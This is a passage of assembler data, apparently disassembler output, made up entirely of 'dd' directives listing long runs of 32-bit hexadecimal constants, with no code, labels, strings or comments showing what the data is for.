		dd 704B34C1h, 0E0307987h, 8E5D02AFh, 801E909h, 0AC78C57Dh
		dd 0C4CC12E3h, 7EAC04Dh, 0A373F281h, 0D64A7425h, 357CA79Ah
		dd 0C69E5D2Fh, 0AAE118BFh, 6B97BC80h, 0D7FAA1A2h, 0F02B780Bh
		dd 1762BC0Fh, 0F96BA021h, 4BB3235Eh, 6A27A611h,	8605F648h
		dd 27802B04h, 251875C6h, 19C0DDE7h, 6CB59C68h, 48D3976Eh
		dd 4AACE962h, 2CF548B8h, 8360BE20h, 76AB4A80h, 68C80C00h
		dd 98E9237Ch, 9AE92EAh,	61920A1Dh, 2DA6E55Dh, 5112F1D0h
		dd 0C1AB71F9h, 7A1AA3D8h, 3AB858D4h, 0A3DFB4Ah,	3320F0E9h
		dd 49E9E82Ch, 5C2D7B17h, 0BA70E7D0h, 810C2D76h,	0A5E8EE2h
		dd 0A0703FEAh, 1AD00113h, 3409C90Ah, 95D0B02h, 856407F4h
		dd 0C009B9E8h, 0C16008EAh, 29B162ACh, 70897727h, 3CF12192h
		dd 885145A7h, 80073A31h, 0C632CCEEh, 0DEB5E161h, 0EA68B06Eh
		dd 6082287Ah, 9A737BB4h, 15720F3h, 1E00BF71h, 6EBB0FD5h
		dd 6D0864h, 0BE5FFB29h,	0A2CCBA53h, 3781E0B5h, 1402692h
		dd 1F7F08D6h, 0E6C15E03h, 0ED19CB07h, 0E93A16CDh, 5A8B94h
		dd 420F08B0h, 96D19D4Bh, 2D0C4F92h, 9291B02h, 0C97EE9F7h
		dd 218A4AADh, 9AA2ADEh,	0E65F1Ch, 15C96CB7h, 0C02D12E9h
		dd 92E9E84Fh, 0B90F703h, 0B222C6A6h, 6F4C95BCh,	68E1F705h
		dd 73EA39DBh, 0BC85C419h, 5520C7BEh, 74D5F09h, 68D80438h
		dd 0E8AC1E07h, 8D3E05C4h, 40EB2E80h, 1E6ED165h,	3C98456Fh
		dd 0B8076A92h, 31031311h, 0D73D58A2h, 1A2041C6h, 0CD292CB5h
		dd 262C107Bh, 0A0712B52h, 19D48754h, 581FD2FEh,	0A4D55FC0h
		dd 0ADA81DD6h, 5C02BB92h, 0C8EE6852h, 6767E9D6h, 0EFE31DB6h
		dd 2509109h, 39B3BD05h,	2875025h, 11F581D1h, 96560F4h
		dd 0CEE9EB29h, 0F55E1A7Dh, 602F27D0h, 0EC8A2E3Ch, 0EEE685AAh
		dd 0E59241Fh, 0F0CA0435h, 4B46E9BEh, 0E9EF90ABh, 32C7CB1Bh
		dd 0CF0683B7h, 0E62E2014h, 4F68510Bh, 0ECA8301Ah, 3DC02F2Dh
		dd 5903C7D4h, 4671F0Dh,	4B555AF4h, 5E09166Dh, 1059D5DDh
		dd 0D4209F20h, 520502CEh, 5B3E3476h, 0F6691654h, 6921C0C5h
		dd 0E9177C5Fh, 0F58C4A42h, 6720039Eh, 0D9F74122h, 0D277519Ah
		dd 590BCD9Ch, 5F68601Ah, 0DD98DF1Dh, 0D9672F7Ah, 80D7C911h
		dd 0E75890A6h, 40BBB07Eh, 2778F01h, 0CB2BE52Dh,	0ADC2E4A7h
		dd 9F50B93h, 0D26D7DAFh, 81D224A7h, 5659CCBBh, 0D7AFF79Dh
		dd 52BECDA0h, 20F72919h, 81B9FEE2h, 711F6807h, 3BAF70Bh
		dd 0AB9D0F04h, 0C50FBD8Fh, 67095F6Eh, 163CB004h, 45ED4700h
		dd 7E6471h, 4A6B850h, 0D32565E1h, 78A25600h, 754AC205h
		dd 308594A0h, 0AF335C4Ah, 0E5022276h, 79C6676Ch, 0FFED8495h
		dd 92DC9713h, 7D7E0925h, 6009F993h, 73EBFE4Dh, 6DEA48F2h
		dd 4B3147Dh, 0E43CC2C5h, 0EDC4A077h, 0C55A08A2h, 0D256832Fh
		dd 0F2497366h, 0AE52C868h, 0FCF68100h, 0A0026236h, 273208CFh
		dd 405D204Ah, 1990C3E2h, 34777B1Fh, 3506331Ah, 0EAB18568h
		dd 222F542Ah, 665ADE32h, 68E88F78h, 3477D93Ch, 5FFF1189h
		dd 0D92117B9h, 0E96A55FBh, 22D1A4F0h, 6801F978h, 0BFD9E664h
		dd 0D5F6C480h, 3980CDFEh, 0C58423F5h, 0D416E9D6h, 0F488BA33h
		dd 20297FEAh, 962089CCh, 0CAFE3736h, 356B9304h,	5DA36510h
		dd 52AF2D7Ah, 0FEF4736Ch, 25A646BFh, 1876C181h,	0FC7BD971h
		dd 0FE17F4A5h, 7B53F07h, 0B25BFD00h, 0FCEAE03Ah, 0FF2E9DD6h
		dd 7B99F9F6h, 0D327DA27h, 885087BEh, 0BAE725F4h, 2130CD89h
		dd 0D7D9BD08h, 534FB1C1h, 1523ED2Eh, 0F9391AFh,	264E02EEh
		dd 0F5C1256Dh, 0B1EA9B44h, 5B983A2Fh, 81A4BD4Ah, 0E9E1BBC7h
		dd 0C1250C6Ch, 249E6675h, 1D9FD5Dh, 54455B05h, 41BEE82Eh
		dd 0B981F796h, 4CA2777h, 702DCC52h, 0B0559F13h,	3DC6C54Eh
		dd 0FCCA6025h, 38C811E1h, 6AEBEF25h, 47E8C28Fh,	429FDFAh
		dd 7D02A4F4h, 0C0589124h
		dd 822A74C9h, 0EE9D3ACBh, 5C8935B2h, 0CBE7B75h,	2DCAFCF8h
		dd 0AC2B1609h, 20F8D651h, 3D3EA07h, 0E96AE15Dh,	9F0130BDh
		dd 0A513B0C3h, 523E292Dh, 78C8BFC0h, 6B387796h,	105F1852h
		dd 0AB02144Eh, 0F407DBCCh, 869B7602h, 25E75877h, 5EDB3AE3h
		dd 0B608CE21h, 0AA5D1703h, 94228B2Dh, 0D639E6D4h, 682D09F2h
		dd 0A99A623Ch, 283805Fh, 60734B25h, 1B85D043h, 0E3EC779Dh
		dd 0B37BF60Ch, 1256186Fh, 0AB786D1Eh, 0D440D7D0h, 89160241h
		dd 2B43E9D8h, 51EE877Ah, 7DC6C55Dh, 31E2542Eh, 958DEA5h
		dd 0DEF328ADh, 0A19D1631h, 502DAB2Fh, 446F19FDh, 0FE955DCFh
		dd 5ABA0D28h, 126EA7C9h, 9BB885Bh, 0FC660AF5h, 7348FDF0h
		dd 7DE0D29Ah, 168C9202h, 16621035h, 0B406A000h,	1BA47F4Fh
		dd 0A7A5B5E5h, 5C40CEEh, 6090DDF1h, 1BC9460Bh, 0BB14009Ah
		dd 39535C2Eh, 0B2504D45h, 5E0D121Ah, 0E947020Bh, 0D25ED3D7h
		dd 65245CEBh, 0DDB1D053h, 1A5B6808h, 0E928A8CBh, 8DA89F0Fh
		dd 0EB0A0BC3h, 5C0BB5Eh, 75564AF1h, 1ACD0F6Eh, 0B405C84h
		dd 2D41F36Fh, 7F896B91h, 2EA810FEh, 0A5CF20Bh, 0BF57DA29h
		dd 0EDF82D08h, 461792BBh, 0A6FF3DC4h, 0C8624BD1h, 6898A110h
		dd 15881A51h, 92342607h, 2ECB6EB8h, 77BB9D20h, 30312175h
		dd 0EF29AE81h, 55F5E9DCh, 0EA3BA06Ch, 42C7D44h,	55F29CFFh
		dd 1250BD06h, 48A809CBh, 698424F4h, 5D5D09CEh, 0ECFA66C6h
		dd 13141659h, 5F8D34CFh, 255FA908h, 0E30B88E9h,	0B2459677h
		dd 0D54A0447h, 0C131709Dh, 40FECF7Ch, 0B75351AFh, 0EF2DDF79h
		dd 0CB97B0FCh, 0DBC69D69h, 8BB75131h, 77C23DABh, 76CBEA71h
		dd 741200B8h, 0F2B90211h, 0FDEE8B02h, 0F64A7DE9h, 60B26224h
		dd 0F095E4F7h, 0CEFD4FCDh, 2FCE40ECh, 9970382h,	0F7290019h
		dd 5EBF1E13h, 0E4A9868h, 2BE4EFCDh, 0E6C4CECh, 6E4A3C05h
		dd 18F0AAA0h, 0CD817E7h, 3C6B0C0h, 0DC9D4B17h, 14D05684h
		dd 169525FFh, 2012E91Fh, 5A4F290h, 35AC8E62h, 575601E8h
		dd 47653051h, 6CF15A4Fh, 2154F2h, 0E0C0C8FEh, 0B2385202h
		dd 0ADD03FA0h, 7585429Bh, 5C121917h, 0BF6CD1F1h, 2893E9A1h
		dd 5AC25E26h, 0B51E5850h, 0BE68EB45h, 0D518E225h, 0ECEBACD3h
		dd 30ADB2A6h, 0E13FCE8Fh, 1B2E4657h, 3808572Ah,	565B04DCh
		dd 0AF2DC252h, 0ECCCF50Bh, 929874Dh, 8290419Dh,	0A5211CBh
		dd 0FD4209B8h, 390A094h, 5DAEC895h, 0BDD174E9h,	35FDFEE9h
		dd 2063260h, 7B397CE3h,	5437C060h, 0B7A7008h, 0AEE9F331h
		dd 0BA04A170h, 617B2F2Bh, 830D0EAh, 0CB5FFE9Eh,	16A85E1h
		dd 836EDDD0h, 4B6E3D6Ah, 0AA4F2FBDh, 3E21CBD8h,	0FFCEFEF9h
		dd 0DB219529h, 31D1F57Bh, 28EB3BA7h, 325E97Bh, 5B117207h
		dd 7EA7F3C4h, 2F135F4Ah, 2568EA43h, 0FA371026h,	0D5BF0310h
		dd 0D13CA143h, 0A5B4A7A0h, 0E7C30668h, 0F60B2797h, 404D754Ah
		dd 1AF0EFEBh, 103D6324h, 3A6CA50Fh, 5E3CF57Bh, 979FAC45h
		dd 908FE0ADh, 44AA3E7Dh, 4BBCE412h, 15FDF37h, 0DD015B11h
		dd 5DAD06BFh, 0D22A58C6h, 8D20942Ch, 7D6817F8h,	6A62AA44h
		dd 1F45F753h, 7044ED80h, 62F6684Eh, 0B01FF745h,	8900730Ah
		dd 68BC6084h, 9B7A532Eh, 7C734Ch, 0BA107D49h, 78FE23C0h
		dd 5F780BFh, 5CB50786h,	2A686853h, 40A2C08h, 0ABDC62E9h
		dd 70841C27h, 42001D1h,	5A29C991h, 3307BF46h, 0BEC9093h
		dd 29A621EAh, 0C201115Eh, 2B9442C5h, 7A2043Bh, 3A8EAA4Eh
		dd 71896809h, 5E54BA98h, 77417798h, 6AB4B16Bh, 0F5B7D6ECh
		dd 8F8E450Fh, 22DCEA11h, 5C5B758h, 0E38EB049h, 8AE91A5h
		dd 0BB02509Bh, 40A312A7h, 0B7FAC8D6h, 0E420314Ch, 0C1460B98h
		dd 83FA03EEh, 7274372Dh, 26912D80h, 5DCBF759h, 4C41744Ah
		dd 87023845h, 6BE2F9F6h, 0B2C5F783h, 0E0FEB1A0h, 94ABBF4Bh
		dd 70B80121h, 0D8346D3Bh, 4304F9E2h, 0A8E937E7h, 35039695h
		dd 0A566B4B3h, 5BFCD3AEh, 0C380D3A8h, 0EB3B0673h, 0A9CB0401h
		dd 95EC1CE9h, 0B2A6BC5Eh, 0AC51EAF4h, 13A47AECh, 73FA541h
		dd 550BF057h, 10FB134Eh, 28600829h, 492B6676h, 2CD0CAFCh
		dd 0F0466E08h, 9628FF97h, 76F66AECh, 0FB0A34EBh, 143B1E99h
		dd 7527389Fh, 481EE7F1h, 7EE2C825h, 51D5820Eh, 3057CBE8h
		dd 57C960Dh, 0CBE927F6h, 3C7C812h, 8568AE06h, 9065D501h
		dd 3FED2D5Bh, 6989337Bh, 689CD7A0h, 1765F395h, 0AB055303h
		dd 0A1DF1623h, 0BF70C38Bh, 0EB7BCE36h, 1E1558A7h, 425D65DFh
		dd 60C756B4h, 2F2C6850h, 581F8700h, 0B802D135h,	405FB808h
		dd 699D66EEh, 43B612Ah,	819E04ECh, 0C1A8B706h, 0D8052BF8h
		dd 67AB35DCh, 0D5274FA6h, 0FD45E233h, 0C99FD457h, 4736D17Fh
		dd 1195C801h, 6CBE4FD6h, 0BF4EC34Eh, 0EB42AAC9h, 2331223Fh
		dd 32DC46F5h, 52A2236h,	0ACC0F857h, 6FE927F8h, 0E30ECA0Eh
		dd 282132EBh, 0FD80C7B1h, 59C8C0C1h, 3B58E1E1h,	6607DBA8h
		dd 76BB450h, 2C806FE7h,	0E9F82821h, 8416AF5Ch, 1CC22EEBh
		dd 201D581Eh, 0BD05FE16h, 4EA93964h, 1950FEE9h,	9D577059h
		dd 8087CEAh, 702F02A6h,	6BD763A8h, 3A6FE801h, 0C4A0BD24h
		dd 0F3B388Fh, 4FF9E93Fh, 16A4A3ECh, 0F425ACB6h,	4F64F3ABh
		dd 0D360D7B5h, 12757DB9h, 0AA417F88h, 59F1B700h, 0C177035Fh
		dd 8C540D0Ch, 66F02E2Ch, 0AEEF4EC1h, 6BE1CDC8h,	0B5046A80h
		dd 0EA0C1EE3h, 25590612h, 6C56D728h, 0FE80B41Dh, 0B151525Bh
		dd 0A2B9A133h, 6EB4876Eh, 0C706AA6Fh, 0F2004328h, 0C0DAF616h
		dd 4C5005E2h, 0C205E5B0h, 0C8CB34E9h, 29F12D89h, 0FEB9D68Dh
		dd 6C49BFF4h, 68D7407Eh, 0D572178Eh, 0AFA860h, 0ABE2E88Ch
		dd 0C01F99E9h, 191CCE53h, 0C5A41BBCh, 0FE7B6409h, 0B4F8753Fh
		dd 0D3DE5625h, 3BA80B6h, 15C8E2Ch, 64AB544Fh, 0EFCA8214h
		dd 47F21189h, 3ABA6420h, 7D8652ADh, 5754D32Eh, 89F185FEh
		dd 225C15B5h, 0BA2DD882h, 0C236447Ch, 221361D2h, 54B07361h
		dd 0F6E8EBD1h, 66C07425h, 7583C2Dh, 8C267AFAh, 0B440692Fh
		dd 586A344Eh, 1084FA5Dh, 7928FF09h, 20354112h, 665B0217h
		dd 87285209h, 0F53D8A12h, 8C521A9Fh, 9394EEFh, 0B14FCD4Fh
		dd 759BA903h, 0ADB0D044h, 78187500h, 0DCDB848h,	0C7454E5Fh
		dd 23F960C1h, 26C1179Ch, 1FBF37FAh, 9CA6F370h, 5EEB881Fh
		dd 84C82909h, 0E714F298h, 28F0052Dh, 0FE65CC1Ch, 83EC99FAh
		dd 0CF01D906h, 77113028h, 0BCD0C34Fh, 586B7525h, 0D44BF472h
		dd 5E36ECE2h, 26E00C0h,	0D05E47Ah, 416A0DABh, 13C0041Ah
		dd 384BE808h, 0FE31AD5Dh, 0A01C6459h, 2348B11Ah, 52DE058Bh
		dd 0F7F871B6h, 66F12012h, 0AD48221Ch, 30160189h, 0CE2858C1h
		dd 53C02562h, 2AE9F388h, 0D7736295h, 74ADB653h,	5368785Eh
		dd 9FF2524Eh, 0DADEFB9Fh, 5AE91322h, 75D8B784h,	68EC40B8h
		dd 0E6157727h, 80D1F6ECh, 0A8FE535Ch, 47837809h, 0F69BD55Bh
		dd 27051EE1h, 8D10909h,	3ED54B2h, 579C7935h, 7E5FE5D2h
		dd 0E3F682FDh, 89F77ED3h, 29837FB4h, 5FCA4E9h, 0C6E9F909h
		dd 4561758Bh, 6C543058h, 0C71506CEh, 0E79151C7h, 0FEF086F9h
		dd 0DD08DFC6h, 413A4EFh, 82FC28A7h, 0C6DF415Dh,	0AAEF59F5h
		dd 0A23B800h, 0C689354Eh, 3192F5A0h, 424CC0A9h,	40F759A9h
		dd 567F94Ch, 0FAE94676h, 878B45F4h, 0D95D8C2Ch,	0BBF1740h
		dd 50327926h, 8B579EABh, 0E9AA8281h, 0EB48DF1Fh, 341ED6C9h
		dd 7FC9176Dh, 5DF3290Fh
		dd 82D7712Bh, 74BD8353h, 9F95A096h, 65F8AE8h, 0DB8E3BB5h
		dd 0D7FED29Bh, 0BE13D7BBh, 4EE03710h, 0BDCDFCE9h, 782269E5h
		dd 0C4EDE92Ah, 5ECC5D4Bh, 161D6C13h, 485CB522h,	9A85A524h
		dd 3F5604A8h, 0CFC8E586h, 8B9ECFECh, 64AE5825h,	0F88D1457h
		dd 77533CA4h, 12183F25h, 0BA765DA8h, 37A26884h,	86D534FBh
		dd 0BA043881h, 732F562Ch, 0B80E8DC3h, 0ECD17BC9h, 838A4EE9h
		dd 74C731BBh, 0A016FE91h, 503EE6F6h, 88937093h,	5F65F90Fh
		dd 6FC9A398h, 0BA2A0861h, 0CE2FC16h, 88260192h,	7B454B36h
		dd 0D1290203h, 4D18005Ah, 813C1E2Bh, 0F5170CC3h, 7FC42110h
		dd 5AC72DC8h, 55653289h, 0B850E548h, 46774509h,	0FC107F1Ch
		dd 9BA0BB5Ch, 44B50AC6h, 613391B1h, 6AB988E9h, 2FEC3976h
		dd 26D644D8h, 5A6FB162h, 0B4B249Fh, 0BEF0970Ch,	5785E501h
		dd 1E8944E4h, 0A0204662h, 2FDB5BB4h, 40D8F70Bh,	0BB8A0048h
		dd 28186Fh, 47A9E281h, 0F7E92771h, 0BE521460h, 58F2685Bh
		dd 7F05512Fh, 8015A020h, 0CB631DE1h, 0EE03757Ch, 568DCA30h
		dd 5D802529h, 7F497B59h, 65433759h, 5E980BD8h, 0C959F587h
		dd 58F80DB4h, 64439AB1h, 0B81EF2CFh, 20244214h,	991E5B02h
		dd 0B7654054h, 0E4512DAAh, 2BC20FFFh, 66552F9Eh, 5080BB5h
		dd 0C98082B1h, 0EC00809Ah, 5928CC88h, 375F9752h, 5CC14DEDh
		dd 2F2BEB68h, 3B8F4531h, 0A2FA8764h, 0BDD35098h, 0E279F5FEh
		dd 0E84EF578h, 84C03886h, 0F00406E8h, 5FAFA6C2h, 18310418h
		dd 4C845C2h, 0F7144265h, 892F2D1Ch, 0E83455E0h,	0D3C3800Ch
		dd 4939DA66h, 0C741E9F5h, 4F2CFC3Bh, 6F1353A8h,	7DC6F74Ch
		dd 53D6028Ah, 0F38100EEh, 8C2C7D09h, 0B0022D10h, 633EF24Fh
		dd 8110ED01h, 11771696h, 0FF584E32h, 888CAD51h,	0BF64DF0h
		dd 552A8903h, 0DAF4FC91h, 177D6801h, 24A6B728h,	18DF1B20h
		dd 0DACE015Ah, 13833C11h, 612A9D1Eh, 0A8EF8738h, 9B85DF98h
		dd 58E95C60h, 0BB4EC038h, 308B0508h, 2C70EBA0h,	911310Dh
		dd 0C242D1DFh, 7F5DEA48h, 0F625B50Fh, 0E2818716h, 44901F2Fh
		dd 0D5971112h, 70AF2319h, 7D9EBAA4h, 0FB97DF27h, 0C17B9AAFh
		dd 5D2D6A09h, 1D8ECCDEh, 3DEECD9Bh, 8F16204Ch, 82505024h
		dd 0C18017C6h, 4B6AACBFh, 172410BDh, 0ECD08E87h, 0FEA219E9h
		dd 0D9FDE828h, 0AE00C47h, 29615F18h, 669268E2h,	0BE4D306Ah
		dd 50B7C2Ah, 2B21E96Eh,	970950A5h, 5E71A374h, 7C09A97Fh
		dd 62BCF14Ah, 0FEB4EEA5h, 9954AE9h, 0F422294Eh,	3103B9E7h
		dd 448F9EBh, 0A32F3059h, 2C4EC9EAh, 9FC39A6Fh, 700107C9h
		dd 3552A9F8h, 891694B0h, 54BDC8D2h, 10DD8AEEh, 0B4066C43h
		dd 0F0BD6D60h, 0C7BF100Fh, 8BE223EDh, 84B30C99h, 273E39EBh
		dd 865283E6h, 0E9FE8742h, 8552B7ABh, 0C5F2F5DAh, 0FDB75951h
		dd 0CB012E49h, 0C22D29BDh, 5DEEA0CBh, 5574B589h, 0A06E5F7Ah
		dd 0F2C656BDh, 0B7E99448h, 54A9E92h, 0D0F73A40h, 0BD583B68h
		dd 70852E99h, 0D9903CDDh, 0B4130D5Fh, 76BDCCBAh, 4B3665Dh
		dd 703B1BD3h, 820555C2h, 48F9E907h, 0B0DBF7A9h,	488703BBh
		dd 0B03552D9h, 1D4EAC8h, 61B96AB5h, 0C0DAC6EEh,	3C04DA57h
		dd 0F1A9AD6Ah, 0E86416CAh, 2DEF4EA0h, 8D942BEAh, 5A222AEBh
		dd 0CC1D2491h, 0BAD29D93h, 0CA815704h, 7DF16681h, 5EC0C8DBh
		dd 0BC3658EFh, 520BB400h, 43EBE941h, 97476880h,	7D302672h
		dd 0CAB24C6Ch, 0A0EA0B80h, 0F3E06A2Ch, 75BCF592h, 31676E0Ch
		dd 562A4076h, 2D4B4CB0h, 5585E044h, 0BAD98804h,	675D89E0h
		dd 62543646h, 6D5A3B34h, 0D607E503h, 0EB554977h, 75AEC571h
		dd 4F213AFh, 40C1370Dh,	695338C3h, 0E9895BB7h, 9D2D83E9h
		dd 2906E80Ah, 70551C8h,	9D51E748h, 0F080BE5Fh, 0AC5A4F27h
		dd 0EC97A1FCh, 11B18151h, 5220D84Dh, 0AC5D592Fh, 6887914Bh
		dd 0A8A66A07h, 41D94497h, 0CAE9E83Bh, 4E0DA655h, 9F41FD02h
		dd 9761FE01h, 0DD3FC2EFh, 6A34F100h, 0CDEC7C18h, 33529039h
		dd 0D098180Ch, 2E4D39CAh, 0AF47DAE9h, 0DE2C7ED6h, 0AAB67312h
		dd 9A76E151h, 0FF4AEB3Ch, 97D213CAh, 13EC642Fh,	4A9EB6BAh
		dd 6F31DEFDh, 7AE0586Bh, 0F242A52h, 9D6EAFE1h, 84D54775h
		dd 0C8FF121Ah, 67905C92h, 23B980Fh, 8BF2AA27h, 5DFC0822h
		dd 908F6595h, 7A533014h, 0DE72281Eh, 6D5090h, 3FB38BB1h
		dd 2459CB30h, 0C028DE88h, 0E950CEFEh, 22D7D52Fh, 0DC3F1639h
		dd 26B66255h, 0E40369E4h, 83234F68h, 0C0BFD5EDh, 283F7A41h
		dd 89D00D50h, 7C53F80Bh, 0B7E57729h, 0E9D3843Fh, 0B2D08F47h
		dd 1EBF57D0h, 0FE2B65F9h, 38FDF5A5h, 4A126892h,	0A3AF8C1Ah
		dd 0F49BD590h, 0E35EE961h, 0A1E0BD6Bh, 526A6849h, 0C56E8E7h
		dd 48F94AA3h, 7CEC00C7h, 0BBE901F0h, 1B86FEF1h,	65537068h
		dd 8FF96FAAh, 1F15082Ch, 0EB8318B9h, 0C10D4A3Eh, 76EC802Ch
		dd 6B03CDC0h, 2061AF09h, 368ABB9Eh, 2773B8EBh, 2272F1E6h
		dd 0B13C2098h, 0B41FA614h, 242E8302h, 48E45178h, 5F2803CAh
		dd 0F5E06D23h, 84280E97h, 0E404886Ah, 29206165h, 0F5A021FFh
		dd 528D5811h, 358681Ch,	3E157F2Dh, 0C84F8310h, 34E3E9EEh
		dd 0D3608791h, 8C218B8Ch, 6C80C033h, 0E9B388BAh, 0D95E5625h
		dd 0B08E880Ch, 7020C620h, 0FDC4BF9Ch, 44FABE26h, 696F4888h
		dd 0CB2435F6h, 5D279110h, 0E2C13600h, 68FA4208h, 0D0CFC25Eh
		dd 0FD60FB12h, 8E47843Eh, 357B10E7h, 49DDC13h, 0D83FED4h
		dd 907B3DBFh, 8EBC19Eh,	2F9E4B48h, 0DD8D4283h, 3CA6C967h
		dd 5E926A2Ch, 0AFFBF4AAh, 444D4514h, 724802F0h,	5456F989h
		dd 0DC5E51B6h, 5A02B1CBh, 3568414Fh, 0E01B7D13h, 88E73F99h
		dd 256FEAD0h, 0E113F856h, 0FBFADE0h, 65D7D53h, 9DADEA5Fh
		dd 7A5A77C3h, 0F6F9FDE5h, 0EF114B2Fh, 1BF40F5h,	0BE5698F7h
		dd 0DD742D25h, 63978152h, 6EEC6Ch, 8420D5A1h, 0D7480144h
		dd 29084007h, 1371EF58h, 20A2720Ah, 0E362BC5Ah,	2A07E8E1h
		dd 68570B26h, 0A0590FB9h, 0ED739A84h, 0A19116BAh, 890903A2h
		dd 3301642Dh, 0D55004A2h, 0EF5FA26Ah, 6E45171Ch, 0BBE6517h
		dd 0B03A3122h, 7AF725F0h, 0F060AE32h, 0C6B9622h, 20C430CDh
		dd 34AD309Fh, 2FD0BEBDh, 0B81FC202h, 1D68EE20h,	0A81A5A1Eh
		dd 0FFC82495h, 324B89A0h, 684D2F03h, 0A5B8CCC4h, 56A1BC0h
		dd 0CD2F3147h, 209D359h, 76072EAh, 6C542540h, 0DE2EF730h
		dd 4D57355h, 84A250Dh, 0B298818Dh, 2DB33FECh, 68E2C29Ch
		dd 3271391Eh, 15CD5317h, 277E71FCh, 607D3D57h, 13CBEA64h
		dd 53788D69h, 69B1BAE7h, 7252316Eh, 0BCE124E8h,	5C9D4770h
		dd 73E9704Bh, 313E5363h, 0FCEE92F5h, 60E4D0Ah, 3D01E60Bh
		dd 0C132DD74h, 128008E6h, 92C4C904h, 309A40E9h,	5C31C095h
		dd 62029ED9h, 0D45D5928h, 189E4709h, 6678FE3Dh,	0ABECAAD6h
		dd 5757AE1Dh, 0B027EEA1h, 0ECFCC4F4h, 0BE0FAB4Ah, 96F14F46h
		dd 80EA50D2h, 0B50D438Ah, 0E0EAA11Fh, 0BA5E457Ch, 3C8D4514h
		dd 4F4B9848h, 0C355FA2h, 185E26A9h, 33139D3Ch, 0DFAC51DCh
		dd 4106A42Dh, 6814105Ch, 0C1CF67ACh, 7415CFBFh,	0E963E9FCh
		dd 0E8C16887h, 30E03707h, 9E9ADA35h, 0D2313C27h, 0B8594BC7h
		dd 670D00DBh, 5DE917CCh, 4A1B2F7h, 0D90F32C6h, 35C2EB28h
		dd 0BC6B4E29h, 52BD8BF0h, 28F56F90h, 0F75CBC0Ah, 1809BDAh
		dd 94E90DB3h, 9ED1BD0Eh, 0F959093Ch, 2CE6EDFFh,	0B5FD3F5Bh
		dd 7A1546D1h, 800E6BCEh
		dd 4A11A0Ah, 5DEB2731h,	31E1E47Dh, 0E3FFB163h, 35628207h
		dd 87769955h, 0D7E97CF9h, 27306D9h, 8094B508h, 0C5C2C0F5h
		dd 5F18D5F6h, 2D7FAF30h, 83A87C9Dh, 0D1C3008h, 385E1351h
		dd 4069B0E5h, 0F30D11CCh, 0BFB0501Fh, 6D0C4680h, 702C3524h
		dd 0B7497F7h, 1E285A66h, 0EDE0C001h, 2E96C02h, 0B8008DF4h
		dd 2C910376h, 0C8D04801h, 3B25D801h, 47623E36h,	0AB05B1CDh
		dd 66CB4070h, 7F760659h, 3B9E205h, 0C93014B4h, 2E1CE1B8h
		dd 94841ADh, 99304358h,	0E69FCC16h, 86817FAh, 0C54FBC7Ch
		dd 24D8F190h, 0A2A8B055h, 404BD42Bh, 643FA3F1h,	700C9FE5h
		dd 25796749h, 3DFE5849h, 7F22A36h, 0FB8443D4h, 6DE516F6h
		dd 60DAB53Eh, 3A09E553h, 541CF81Bh, 0E1ED622Ch,	20FB8F41h
		dd 170501C3h, 0DCE922FEh, 0B5BEA390h, 116A0116h, 0C6424A05h
		dd 283FFC26h, 5E66EBFh,	4AC423BBh, 75C4BAACh, 0E9038CEAh
		dd 5A6974EFh, 0AA752C28h, 83C5C64Bh, 5229CABAh,	0F190A448h
		dd 2DC51366h, 0A1514657h, 8EE85F12h, 6F22FAD2h,	396405Ah
		dd 0C1157F35h, 583A82F6h, 99942078h, 0F56B97B4h, 94F72A93h
		dd 948DFB9Ch, 12962240h, 290702F9h, 0CF015AD7h,	50B9D88h
		dd 0FC766859h, 0F3BAD3ACh, 1E165E9Ch, 0A3522217h, 8492F2FAh
		dd 5809BD67h, 0F0A8B47Fh, 3589813Dh, 0F0376949h, 2855FD35h
		dd 97AB10C9h, 0B72044F4h, 1850F497h, 65A3F401h,	104A7C82h
		dd 2D5648BAh, 0D5B1421Dh, 0ED69E6DAh, 9F9CB412h, 4072D27Eh
		dd 9401DE9h, 5BE969BDh,	672F8DD6h, 0DC59AFCFh, 21F32427h
		dd 0F8848CEBh, 49C42044h, 0C3964A1Ch, 12BC1501h, 0F0EB53FBh
		dd 324AFA2Dh, 0BDDEDA2h, 5F61EA83h, 586474AFh, 79E2C19Dh
		dd 0FE19AE3Bh, 0C1043B0Eh, 3BD69F80h, 0C02C4040h, 9F057962h
		dd 2D1E5D7Ch, 2ED784Bh,	517048A6h, 685A0FB1h, 1BB05469h
		dd 5781061Bh, 2DB0E6FEh, 59560B61h, 88DAE653h, 1E92E5C0h
		dd 0C9498936h, 0E451F75Fh, 0B32764Bh, 0D4DE128Dh, 2C55D26Bh
		dd 38C8685Fh, 479DBB4Bh, 8C7728AFh, 177B0C15h, 0BE422C1Eh
		dd 61AEE341h, 0E06B36BEh, 18028711h, 69B0AF35h,	6602770Dh
		dd 0E4D416C5h, 3303FD73h, 4F859CE9h, 0E4CCE826h, 9C84E8EDh
		dd 0F6C01E41h, 4E0B0761h, 90EE63D1h, 0A6382766h, 0FD4D25E9h
		dd 0B10AA7E7h, 80059EE3h, 0EB1D2CC3h, 0A6C7EB4Fh, 785D452Fh
		dd 382912F5h, 8157BC5Dh, 6053D8BEh, 1CE2330h, 9776CACh
		dd 4DEAAE9h, 5AF791FFh,	13B3033Ch, 0FC087C1Eh, 3A2F9485h
		dd 0EC26CA52h, 94B69410h, 0A91ED3E7h, 1A2ACB20h, 7D3D925Dh
		dd 6E2CEA02h, 79A5C7Dh,	3FED6456h, 0E907E2E0h, 46C061B9h
		dd 0EC8044B4h, 63E4E6DFh, 0C0F80C72h, 5B0703B2h, 5D78C4F2h
		dd 0B551EF81h, 47BA2ECEh, 260F581h, 8E5D59EBh, 6ADADF9h
		dd 0D2F68402h, 73EA05C2h, 0BEC0E768h, 84857F31h, 7D7ABF10h
		dd 902DEF26h, 0DFE4893Fh, 3E5FDE09h, 8DD4F42Fh,	0FD90BEBh
		dd 5E092CFh, 0BFA34B92h, 541B0898h, 2642C360h, 12FEA30Eh
		dd 0EE518447h, 19582591h, 4E83F348h, 8075A229h,	3F52ECEEh
		dd 0F3D8953Eh, 60AE4E6Fh, 0E9723446h, 0D8A05BE1h, 0D997BC1Dh
		dd 712BCB8h, 30DB8D3Dh,	8144EF68h, 38A90BEAh, 0BD58850Fh
		dd 20D6D0BDh, 5D2E7A12h, 48BACA66h, 90EA1F81h, 3F2813CDh
		dd 252A58E4h, 152A116h,	66AEEF01h, 0F72940F2h, 801A744h
		dd 0DF82E95Eh, 240CCB2Ah, 0F7026104h, 8918BF44h, 4E370AEh
		dd 0B02B85B9h, 0D0FEC01Fh, 0F6132193h, 7980CD89h, 0DDD44573h
		dd 6FE9896Ch, 0BB0252D8h, 24F7047Ch, 21918943h,	6069683Dh
